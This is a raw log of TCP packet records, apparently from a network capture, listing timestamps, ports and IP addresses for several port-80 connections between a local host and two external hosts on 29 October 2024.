Oct 29, 2024 20:35:45.671746969 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.671782970 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.671801090 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.671817064 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.671829939 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.671842098 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.671864033 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.671864033 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672103882 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672156096 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672158003 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672168016 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672219992 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672231913 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672243118 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672254086 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672295094 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672583103 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672595978 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672607899 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672624111 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672630072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672641993 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672652006 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672665119 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672681093 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672703981 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672768116 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672800064 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672813892 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672820091 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672825098 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672831059 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672835112 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672931910 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.672966003 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672977924 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.672988892 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673001051 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673007965 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673065901 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673100948 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673111916 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673121929 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673134089 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673145056 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673155069 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673165083 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673165083 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673203945 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673227072 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673309088 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673314095 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673327923 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673342943 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673355103 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673367977 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673377991 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673381090 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673417091 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673417091 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673455954 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673469067 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673535109 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673578978 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673589945 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673604012 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673609972 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673616886 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673623085 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673631907 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673646927 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673671961 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673728943 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673861980 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673876047 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673887968 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673908949 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673921108 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673932076 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673943043 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673950911 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673950911 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673954010 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673964024 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.673964977 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673983097 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.673994064 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674005985 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674005985 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674031973 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674170971 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674226999 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674241066 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674261093 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674396038 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674407959 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674418926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674429893 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674442053 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674442053 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674442053 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674463987 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674478054 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674510002 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674520969 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674532890 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674544096 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674556017 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674567938 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674624920 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674659014 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674669981 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674719095 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674789906 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674804926 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674812078 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674813986 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674818993 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674819946 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674830914 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674840927 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674844980 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674855947 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.674915075 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.674915075 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.675009966 CET	80	49873	185.215.113.16	192.168.2.7
Oct 29, 2024 20:35:45.677699089 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.678713083 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:35:45.881318092 CET	49873	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:04.206022024 CET	49979	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:04.211584091 CET	80	49979	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:04.211724997 CET	49979	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:04.211908102 CET	49979	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:04.217443943 CET	80	49979	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:05.106415987 CET	80	49979	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:05.106489897 CET	49979	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:06.626935959 CET	49979	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:06.627310038 CET	49980	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:06.635867119 CET	80	49980	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:06.635951996 CET	49980	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:06.636219978 CET	49980	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:06.637187004 CET	80	49979	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:06.637245893 CET	49979	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:06.641693115 CET	80	49980	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:07.565339088 CET	80	49980	185.215.113.43	192.168.2.7
Oct 29, 2024 20:36:07.565416098 CET	49980	80	192.168.2.7	185.215.113.43
Oct 29, 2024 20:36:07.793782949 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:07.799259901 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:07.799377918 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:07.799774885 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:07.805161953 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.722634077 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.722702026 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.722918034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.722984076 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.722986937 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.723005056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.723026037 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.723031044 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.723047972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.723066092 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.723066092 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.723093987 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.723094940 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.723114967 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.723136902 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.723161936 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.723181009 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.728701115 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.728755951 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.728787899 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.728835106 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.728841066 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.728880882 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.883656025 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883673906 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883686066 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883794069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883837938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883850098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883913040 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.883919001 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883939028 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.883940935 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.883977890 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.884013891 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.884731054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.884747982 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.884761095 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.884851933 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.884882927 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.885360003 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.885374069 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.885385990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.885432005 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.885445118 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.885483027 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.885528088 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.886234045 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.886270046 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.886282921 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.886322975 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.886334896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.886339903 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.886379004 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.887166023 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.887257099 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.887268066 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.887300014 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:08.889400959 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:08.889501095 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.044677019 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044723034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044734955 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044748068 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044761896 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044773102 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044852018 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.044864893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044886112 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044897079 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.044909954 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.044933081 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045058012 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045108080 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045113087 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045130968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045161963 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045188904 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045202971 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045257092 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045295954 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045341969 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045614004 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045700073 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045713902 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045727968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045762062 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045778990 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045793056 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045835972 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.045975924 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.045998096 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046011925 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046051979 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046088934 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046092987 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046107054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046144962 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046171904 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046432018 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046490908 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046503067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046511889 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046540022 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046617985 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046632051 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046648979 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.046694994 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046736956 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.046988010 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047041893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047055960 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047064066 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047106028 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047137976 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047151089 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047189951 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047229052 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047241926 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047251940 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047267914 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047311068 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047662020 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047708988 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047727108 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047785997 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047826052 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047844887 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047861099 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047873020 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047888041 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.047889948 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047914028 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.047950029 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.048007011 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.048019886 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.048094988 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.048115969 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.050355911 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.050368071 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.050457001 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.205908060 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.205939054 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.205951929 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.205964088 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.205972910 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.205980062 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.205991030 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.205997944 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206003904 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206011057 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206016064 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206022978 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206028938 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206096888 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206108093 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206116915 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206119061 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206211090 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206224918 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206238985 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206252098 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206263065 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206269026 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206322908 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206356049 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206368923 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206378937 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206403017 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206439972 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206494093 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206506968 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206521034 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206541061 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206576109 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206639051 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206650972 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206662893 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206674099 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206686974 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206691027 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206707954 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206736088 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206871986 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206885099 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206896067 CET	80	49981	185.215.113.16	192.168.2.7
Oct 29, 2024 20:36:09.206957102 CET	49981	80	192.168.2.7	185.215.113.16
Oct 29, 2024 20:36:09.206970930 CET	80	49981	185.215.113.16	192.168.2.7
